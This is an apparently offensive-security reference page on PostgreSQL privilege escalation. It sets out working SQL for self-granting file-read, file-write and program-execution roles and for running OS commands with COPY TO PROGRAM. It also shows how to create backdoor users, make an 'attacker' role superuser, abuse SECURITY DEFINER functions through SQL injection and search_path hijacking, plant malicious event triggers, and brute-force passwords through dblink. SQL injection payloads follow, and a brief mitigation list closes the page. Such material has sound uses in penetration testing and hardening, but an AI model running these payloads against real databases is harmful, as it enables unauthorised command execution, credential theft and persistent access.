Privilege Enumeration and Escalation

Privilege Enumeration and Escalation

PostgreSQL has several privilege escalation vectors that can be exploited to gain higher privileges within the database or on the underlying system. This document covers both enumeration techniques (identifying escalation opportunities) and exploitation techniques (executing privilege escalation).

CREATEROLE Privilege Escalation

Users with CREATEROLE privilege can grant themselves dangerous roles, even without being superuser.

Check for CREATEROLE:

SELECT rolcreaterole FROM pg_roles WHERE rolname = current_user;

Granting Dangerous Roles:

-- Grant file read capability
GRANT pg_read_server_files TO current_user;

-- Grant file write capability
GRANT pg_write_server_files TO current_user;

-- Grant command execution capability
GRANT pg_execute_server_program TO current_user;

-- Now you can read files
SELECT pg_read_file('/etc/passwd');

-- Write files
COPY (SELECT 'malicious content') TO '/tmp/evil.txt';

-- Execute commands
COPY (SELECT '') TO PROGRAM 'id';

Changing Other Users’ Passwords:

With CREATEROLE, you can change passwords of non-superuser accounts:

-- Change password of another user (non-superuser only)
ALTER USER target_user WITH PASSWORD 'new_password';

-- Create new user with login
CREATE USER backdoor WITH PASSWORD 'secret' LOGIN;
GRANT pg_read_server_files TO backdoor;

Escalating to Superuser via Trust Auth + Command Execution:

Trust authentication (host all all 127.0.0.1/32 trust in pg_hba.conf) only grants passwordless database access for local connections — it does not itself provide OS-level or superuser privileges. The actual escalation requires command execution capability via COPY TO PROGRAM, which requires either superuser or membership in pg_execute_server_program (PostgreSQL 11+).

Key insight: Trust auth is only useful if you can already execute commands with elevated privileges.

-- Step 1: Grant command execution capability (requires CREATEROLE)
GRANT pg_execute_server_program TO current_user;

-- Step 2: Use COPY TO PROGRAM to invoke psql with trust auth
-- This works because trust auth allows passwordless local connection as postgres
COPY (SELECT '') TO PROGRAM 'psql -U postgres -c "ALTER USER attacker WITH SUPERUSER;"';

Note: Without pg_execute_server_program or equivalent superuser access, trust authentication alone cannot be exploited from SQL context.

ALTER TABLE Index Function Attack (Historical)

⚠️ This technique is outdated and does not work on modern PostgreSQL versions.

This attack exploited how PostgreSQL handled index functions when ANALYZE runs with elevated privileges. The vulnerabilities were patched in:

• CVE-2009-4136 (PostgreSQL 8.4.2, 8.3.9, 8.2.15, 8.1.19, 8.0.23, 7.4.27) — Index functions executed with table owner’s privileges during ANALYZE/VACUUM
• CVE-2014-0062 (PostgreSQL 9.3.3, 9.2.7, 9.1.12, 9.0.16, 8.4.20) — Race condition in DDL allowing privilege escalation via concurrent table operations

Modern PostgreSQL (9.4+) mitigations:

• Index functions now execute with the privileges of the user running ANALYZE, not the table owner
• SECURITY DEFINER functions in indexes are restricted
• Table ownership changes invalidate expression index execution context

The technique is documented here for historical reference and understanding legacy system vulnerabilities.

-- Create a table
CREATE TABLE temp_attack (data TEXT);
INSERT INTO temp_attack VALUES ('dummy');

-- Create innocent-looking function
CREATE OR REPLACE FUNCTION innocent_func(TEXT) RETURNS TEXT
LANGUAGE sql IMMUTABLE AS 'SELECT ''safe''';

-- Create index using the function
CREATE INDEX idx_attack ON temp_attack (innocent_func(data));

-- Transfer table to superuser (requires specific permissions)
ALTER TABLE temp_attack OWNER TO postgres;
-- Or in managed instances:
ALTER TABLE temp_attack OWNER TO cloudsqladmin;

-- Replace function with malicious version
CREATE OR REPLACE FUNCTION innocent_func(TEXT) RETURNS TEXT
LANGUAGE sql VOLATILE AS $$
    CREATE TABLE IF NOT EXISTS pwned (output TEXT);
    COPY pwned FROM PROGRAM 'id';
    SELECT 'done';
$$;

-- When superuser runs ANALYZE, function executes with their privileges
ANALYZE temp_attack;

-- Check results
SELECT * FROM pwned;

SECURITY DEFINER Function Abuse

Functions marked SECURITY DEFINER execute with the privileges of the function owner, not the caller. Vulnerable functions can be exploited.

Finding SECURITY DEFINER Functions:

-- Find all SECURITY DEFINER functions
SELECT
    n.nspname AS schema,
    p.proname AS function_name,
    pg_get_userbyid(p.proowner) AS owner,
    p.prosecdef AS security_definer
FROM pg_proc p
JOIN pg_namespace n ON p.pronamespace = n.oid
WHERE p.prosecdef = true
AND n.nspname NOT IN ('pg_catalog', 'information_schema');

Example Vulnerable Function:

-- Vulnerable: accepts user input without sanitization
CREATE OR REPLACE FUNCTION get_user_data(username TEXT)
RETURNS TABLE(id INT, data TEXT)
SECURITY DEFINER
AS $$
BEGIN
    RETURN QUERY EXECUTE 'SELECT id, data FROM users WHERE name = ''' || username || '''';
END;
$$ LANGUAGE plpgsql;

-- Exploit via SQL injection in the function
SELECT * FROM get_user_data('admin'' UNION SELECT 1, passwd FROM pg_shadow--');

Exploiting Path-Based Functions:

-- If a SECURITY DEFINER function uses search_path unsafely
CREATE OR REPLACE FUNCTION admin_func()
RETURNS void SECURITY DEFINER AS $$
BEGIN
    -- Uses unqualified table name
    DELETE FROM audit_log WHERE age > 30;
END;
$$ LANGUAGE plpgsql;

-- Exploit: Create malicious table in attacker's schema
CREATE SCHEMA attacker;
CREATE TABLE attacker.audit_log AS SELECT * FROM pg_shadow;

-- Set search_path to use attacker's schema first
SET search_path TO attacker, public;

-- Now the function accesses attacker's table with owner's privileges
SELECT admin_func();

Filenode Overwriting (pg_authid)

Important: This is a local privilege escalation technique requiring filesystem-level write access to the PostgreSQL data directory (typically as root or postgres OS user). It is not a pure SQL attack.

Limitations:

• lo_import/lo_export operate on pg_largeobject BLOBs, not raw relation files—they cannot directly overwrite system catalog files like pg_authid while PostgreSQL is running
• PostgreSQL caches system catalogs in shared memory; modifying files while the server is running causes corruption or is ignored
• The server must typically be stopped before modifying relation files
• Requires in-depth knowledge of PostgreSQL binary heap/tuple formats to craft valid modifications

Filesystem-Level Attack Flow:

1. Gain filesystem write access to the data directory (e.g., via OS-level exploit, compromised backup, or misconfigured permissions)

2. Stop PostgreSQL to release file locks and clear shared memory caches

3. Locate pg_authid filenode:

   # Find data directory and pg_authid file
   ls -la $PGDATA/global/1260  # pg_authid is in global/, not base/

4. Back up original file before modification

5. Modify the relation file using a binary-aware tool that understands PostgreSQL heap page format (e.g., pg_filedump for analysis, custom scripts for modification)

   • Typical modifications: set rolsuper = true, rolcreaterole = true, or modify password hash

6. Restart PostgreSQL to load modified catalog

SQL-Based Reconnaissance Only:

-- Find pg_authid location (for reconnaissance, not modification)
SELECT pg_relation_filenode('pg_authid');
SELECT pg_relation_filepath('pg_authid');
-- Note: pg_authid is in global/ tablespace, not base/<dboid>/

-- Useful mapping tools:
-- pg_relation_filenode() - returns filenode number
-- pg_filenode_relation() - returns relation OID for a filenode
-- oid2name (contrib) - CLI utility for OID/filenode mapping

Related CVE: CVE-2024-10979 (environment variable manipulation in PL/Perl allowing privilege escalation) demonstrates similar local privilege escalation vectors in PostgreSQL.

Event Trigger Privilege Escalation

Event triggers execute when certain DDL events occur. If you can create event triggers and a superuser performs an operation, you can escalate.

Requirements:

• Ability to create event triggers (requires superuser, but some extensions may grant this)
• Superuser performs DDL operation

Creating Malicious Event Trigger:

-- Create function to execute on DDL
CREATE OR REPLACE FUNCTION escalate_on_ddl()
RETURNS event_trigger
LANGUAGE plpgsql AS $$
BEGIN
    -- This executes with the privilege of whoever triggered the event
    IF current_user = 'postgres' THEN
        EXECUTE 'ALTER USER attacker WITH SUPERUSER';
    END IF;
END;
$$;

-- Create event trigger
CREATE EVENT TRIGGER escalate_trigger ON ddl_command_end
EXECUTE FUNCTION escalate_on_ddl();

postgres_fdw Extension Exploitation:

When postgres_fdw extension is upgraded by a superuser, there’s a brief window of elevated privilege:

-- Create event triggers for extension operations
CREATE EVENT TRIGGER fdw_exploit ON ddl_command_start
WHEN TAG IN ('CREATE EXTENSION', 'ALTER EXTENSION')
EXECUTE FUNCTION create_backdoor();

CREATE EVENT TRIGGER fdw_exploit_end ON ddl_command_end
WHEN TAG IN ('CREATE EXTENSION', 'ALTER EXTENSION')
EXECUTE FUNCTION create_backdoor();

Password Brute Force via PL/pgSQL

Use procedural language to brute force database passwords.

Requirements:

• The dblink extension must be installed (CREATE EXTENSION dblink)
• Executing role must have permission to create functions and use dblink functions
• Typically requires superuser or explicit GRANT USAGE ON SCHEMA dblink and function permissions

Alternative: If dblink is unavailable, postgres_fdw can be used with similar connection-testing logic, but requires its own setup (CREATE SERVER, CREATE USER MAPPING) and different privilege requirements.

Connection String Injection Warning: When building libpq connection strings dynamically, values containing spaces, quotes, or backslashes must be escaped. The helper function below escapes values per libpq rules (backslash-escape \ and ', then wrap in single quotes).

-- Ensure dblink extension is available
CREATE EXTENSION IF NOT EXISTS dblink;

-- Helper: escape a value for libpq connection strings
-- (backslash-escape \ and ', then wrap in single quotes)
CREATE OR REPLACE FUNCTION escape_connstr_value(val TEXT)
RETURNS TEXT
LANGUAGE sql IMMUTABLE AS $$
    SELECT '''' || replace(replace(val, '\', '\\'), '''', '\''') || ''''
$$;

-- Create brute force function with safe connection string building
CREATE OR REPLACE FUNCTION brute_force(target_user TEXT, wordlist TEXT[])
RETURNS TEXT
LANGUAGE plpgsql AS $$
DECLARE
    pwd TEXT;
    connstr TEXT;
BEGIN
    FOREACH pwd IN ARRAY wordlist LOOP
        BEGIN
            -- Build connection string with escaped values
            connstr := 'host=127.0.0.1 dbname=postgres user=' ||
                       escape_connstr_value(target_user) ||
                       ' password=' || escape_connstr_value(pwd);
            PERFORM dblink_connect(connstr);
            PERFORM dblink_disconnect();
            RETURN 'Found: ' || pwd;
        EXCEPTION WHEN OTHERS THEN
            -- Password failed, continue
            NULL;
        END;
    END LOOP;
    RETURN 'Not found';
END;
$$;

-- Execute brute force
SELECT brute_force('admin', ARRAY['password', 'admin', '123456', 'postgres']);

Limitation: The EXCEPTION WHEN OTHERS clause catches all exceptions, including network errors, DNS failures, connection timeouts, and server unavailability—not just authentication failures. In production use, consider narrowing exception handling to SQLSTATE '28P01' (invalid password) or logging/re-raising non-authentication errors to avoid masking real connection problems.

Exploiting Row Level Security (RLS) Bypass

Users with BYPASSRLS attribute can bypass row-level security policies:

-- Check for BYPASSRLS
SELECT rolname, rolbypassrls FROM pg_roles WHERE rolbypassrls = true;

-- If you can grant roles
GRANT pg_read_all_data TO current_user;  -- PostgreSQL 14+

-- Or create a function that bypasses RLS
CREATE OR REPLACE FUNCTION bypass_rls()
RETURNS SETOF secret_table
SECURITY DEFINER  -- Runs as owner who has BYPASSRLS
AS $$
    SELECT * FROM secret_table;
$$ LANGUAGE sql;

Privilege Enumeration

Before attempting escalation, enumerate current privileges and identify potential attack vectors.

Enumerating Current Role Privileges

-- Check current privileges
SELECT
    rolname,
    rolsuper,
    rolcreaterole,
    rolcreatedb,
    rolcanlogin,
    rolbypassrls
FROM pg_roles
WHERE rolname = current_user;

-- Check dangerous role memberships
SELECT r.rolname AS role, m.rolname AS member
FROM pg_auth_members am
JOIN pg_roles r ON am.roleid = r.oid
JOIN pg_roles m ON am.member = m.oid
WHERE r.rolname IN ('pg_read_server_files', 'pg_write_server_files', 'pg_execute_server_program');

Finding Exploitable Objects

-- Check for SECURITY DEFINER functions you can call
SELECT proname, prosecdef, pg_get_userbyid(proowner) AS owner
FROM pg_proc
WHERE prosecdef = true;

-- Check event triggers
SELECT evtname, evtevent, evtowner::regrole
FROM pg_event_trigger;

Injection Context Examples

-- Check if user has CREATEROLE
' UNION SELECT 1, rolcreaterole::text, 3 FROM pg_roles WHERE rolname=current_user--

-- Grant dangerous role (if CREATEROLE)
'; GRANT pg_execute_server_program TO current_user--

-- Find SECURITY DEFINER functions
' UNION SELECT 1, proname, 3 FROM pg_proc WHERE prosecdef=true--

-- Check for file roles
' UNION SELECT 1, pg_has_role(current_user, 'pg_read_server_files', 'member')::text, 3--

Mitigation

• Avoid granting CREATEROLE to untrusted users
• Use SECURITY INVOKER instead of SECURITY DEFINER when possible
• Always use schema-qualified names in SECURITY DEFINER functions
• Restrict file operation roles (pg_read_server_files, etc.)
• Monitor role grants and privilege changes
• Review event triggers regularly
• Use parameterized queries in SECURITY DEFINER functions